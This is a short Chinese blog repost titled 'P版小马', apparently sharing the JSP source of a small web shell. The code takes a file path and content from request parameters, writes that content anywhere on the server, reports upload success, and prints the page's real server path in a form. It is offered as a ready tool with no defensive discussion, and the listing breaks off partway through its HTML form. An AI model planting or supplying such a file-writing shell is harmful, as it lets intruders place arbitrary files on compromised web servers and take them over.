P版小马
来源:韦江代博客 责任编辑:栏目编辑 发表时间:2013-07-02 06:49 点击:次
Java代码
- <%@page contentType="text/html;charset=gb2312"%>
- <%@page import="java.io.*,java.util.*,java.net.*"%>
- <html>
- <head>
- <title>JspDo Code By Xiao.3</title>
- <style type="text/css">
- body { color:red; font-size:12px; background-color:white; }
- </style>
- </head>
- <body>
- <%
- if(request.getParameter("context")!=null)
- {
- String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");
- String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");
- OutputStream pt = null;
- try {
- pt = new FileOutputStream(path);
- pt.write(context.getBytes());
- out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+request.getRequestURI()+"'><font color='red' title='点击可以转到上传的文件页面!'>上传成功!</font></a>");
- } catch (FileNotFoundException ex2) {
- out.println("<font color='red'>上传失败!</font>");
- } catch (IOException ex) {
- out.println("<font color='red'>上传失败!</font>");
- } finally {
- try {
- pt.close();
- } catch (IOException ex3) {
- out.println("<font color='red'>上传失败!</font>");
- }
- }
- }
- %>
- <form name="frmUpload" method="post" action="">
- <font color="blue">本文件的路径:</font><%out.print(request.getRealPath(request.getServletPath())); %>
相关新闻>>
- 发表评论
-
- 最新评论 更多>>